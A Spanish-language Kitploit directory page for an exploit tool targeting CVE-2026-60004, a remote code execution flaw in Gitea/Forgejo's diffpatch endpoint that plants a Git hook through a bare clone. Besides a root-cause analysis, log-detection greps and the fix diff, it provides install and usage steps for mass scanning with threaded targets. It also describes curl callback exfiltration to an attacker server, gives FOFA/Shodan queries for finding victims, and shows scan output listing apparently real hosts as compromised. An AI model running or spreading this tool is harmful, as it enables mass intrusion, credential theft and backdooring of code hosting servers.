Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-60004 — CVE-2026-60004 — RCE de Git Hook de Diffpatch de Gitea/Forgejo. Clonado desnudo → inyección de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Herramientas/GitHubGitHub/shinthink/cve-2026-60004
ReconocimientoEscáneres de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebExfiltración de DatosPruebas de PenetraciónRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — RCE de Git Hook de Diffpatch de Gitea/Forgejo. Clonado desnudo → inyección de hook post-index-change. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

Ver Repositorio
9hace 1 mesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Inyección de Hook en Clon Bare → post-index-change → Ejecución Arbitraria de Comandos


Resumen

CVE-2026-60004 es una vulnerabilidad de ejecución remota de código pre-autenticación de severidad crítica (CVSS 9.8) en las plataformas Git autoalojadas Gitea y Forgejo, que afecta a las versiones 1.17 a 1.27.0.

La vulnerabilidad explota una falla de diseño de clon bare en el endpoint de API POST /api/v1/repos/{owner}/{repo}/diffpatch. Gitea aplica parches suministrados por el usuario dentro de un clon temporal bare — donde la raíz del repositorio es el propio $GIT_DIR. Al enviar el mismo parche malicioso dos veces, un atacante provoca un conflicto add/add que hace que el mecanismo de fusión a tres bandas de Git (-3, Git 2.32+) escriba un hook post-index-change ejecutable directamente en $GIT_DIR/hooks/. Git ejecuta este hook automáticamente durante la actualización del índice, lo que produce ejecución arbitraria de comandos bajo la cuenta de servicio de Gitea.

Se requiere acceso de escritura al repositorio — trivial de obtener, ya que Gitea tiene por defecto registro abierto sin verificación de correo electrónico, aprobación de administrador ni límites de creación de repositorios.

Versiones Afectadas

VersiónEstado
< 1.17No afectada (la ruta diffpatch aún no se había introducido)
1.17 — 1.27.0Vulnerable
1.27.1+Parcheada

Descubierto por: Shai Rod (NightRang3r), 28 de julio de 2026 Proyecto: Gitea / Forgejo (servicio Git autoalojado) Componente: endpoint de API diffpatch, clon temporal bare


Mecanismo de la Vulnerabilidad

Causa Raíz

La vulnerabilidad se origina en un único parámetro en services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

En un clon bare no hay árbol de trabajo — la raíz del repositorio es $GIT_DIR. Por lo tanto, un parche malicioso cuya ruta de archivo sea hooks/post-index-change termina directamente dentro del directorio real de hooks de Git, no en un árbol de trabajo aislado.

La invocación de git apply agrava esto:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Por Qué Funciona

  1. El clon bare no proporciona aislamiento — la raíz del clon temporal es $GIT_DIR, por lo que la ruta hooks/post-index-change apunta al directorio real de hooks.
  2. --cached no es infalible — el mecanismo de respaldo a tres bandas -3 en Git 2.32+ escribe los resultados fusionados en el árbol de trabajo durante conflictos add/add, a pesar de la bandera --cached.
  3. El doble envío provoca el conflicto — el primer apply añade el hook al índice. El segundo apply crea una colisión add/add, la fusión a tres bandas escribe el archivo en disco y Git lo ejecuta.
  4. Git ejecuta automáticamente post-index-change — después de actualizar el índice, Git ejecuta este hook de forma incondicional si existe y es ejecutable. No se necesita configuración.
  5. Los comandos del hook NO PUEDEN modificar el índice — git update-index dentro del hook provoca un interbloqueo porque git apply mantiene el bloqueo del índice. Use callbacks HTTP (curl) o reverse shells para la exfiltración de la salida.

Flujo del Ataque

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Referencias Verificadas del Código Fuente

Detección en los Registros del Servidor

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Falla Clave de Diseño

La diferencia entre un clon bare y uno no bare — un único parámetro booleano — determina si una ruta de parche es una entrada inofensiva del árbol de trabajo o un hook ejecutable que aterriza directamente en el directorio interno de Git. La corrección cambia exactamente un carácter en el diff (true → false), razón por la cual el commit fue etiquetado como "refactor: git patch apply" bajo MISC y no bajo SECURITY. La operación que se suponía debía estar aislada al índice (--cached) fue silenciosamente rota por el propio mecanismo de fusión a tres bandas de Git, y ninguna protección adicional impidió que se crearan archivos de hook en el $GIT_DIR del clon bare.


Instalación

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Uso

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Argumentos

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Prueba de Concepto

Objetivo Único

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Escaneo Masivo

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Salida del Callback (guardada automáticamente por objetivo)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Impacto

Una explotación exitosa produce ejecución remota de código como la cuenta de servicio de Gitea:

  • Extraer la configuración de app.ini — credenciales de base de datos, secretos SMTP, claves de aplicaciones OAuth, secretos LFS/JWT
  • Acceder a todos los repositorios alojados, historial de commits y objetos LFS
  • Pivotar a servicios internos accesibles desde el host de Gitea (CI/CD, registros de paquetes, registros de contenedores)
  • Desplegar backdoors persistentes mediante claves SSH o cuentas de administrador ocultas
  • Compromiso de la cadena de suministro de software — inyectar backdoors en los repositorios servidos por la instancia

No se necesita ninguna cuenta en la instancia — el registro está abierto por defecto.


La Corrección (1.27.1)

Gitea corrigió la vulnerabilidad en la versión 1.27.1 (commit 470d34b) al:

  • Cambiar el clon temporal de bare a no bare, de modo que las rutas de archivo controladas por el atacante aterricen en el árbol de trabajo en lugar de directamente en $GIT_DIR/hooks/
  • Añadir un comentario de advertencia indicando que las operaciones con --index pueden interactuar con el árbol de trabajo bajo ciertas condiciones
  • Añadir una prueba unitaria (TestGitPatchPrepare) que verifica que el clon temporal no es bare comprobando la existencia de un subdirectorio .git
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

La corrección apareció en las notas de la versión 1.27.1 bajo MISC como "refactor: git patch apply" en lugar de bajo SECURITY, lo que facilita que los administradores que solo revisan las entradas de changelog relacionadas con seguridad pasen por alto esta actualización crítica. El mismo patrón de clon bare en CherryPick también fue corregido.


Descargo de Responsabilidad

SOLO CON FINES EDUCATIVOS Y DE PRUEBAS AUTORIZADAS.

No lo use contra sistemas sin el permiso explícito del propietario. Los autores no asumen ninguna responsabilidad por el mal uso.


Referencias

RecursoEnlace

Descubierto por Shai Rod (NightRang3r). No afiliado con Gitea o Forgejo.

Descargar herramienta
ArchivoLínea(s)Propósito
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — creación de clon bare
services/repository/files/patch.go206-209git apply con banderas --index --cached -3
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — persiste el estado del atacante
services/repository/files/cherry_pick.go~170El mismo patrón de clon bare en CherryPick (también corregido)
Commit de la Corrección en Gitea470d34b
InvestigadorNightRang3r
CWE-94Inyección de Código
Hook de Gitpost-index-change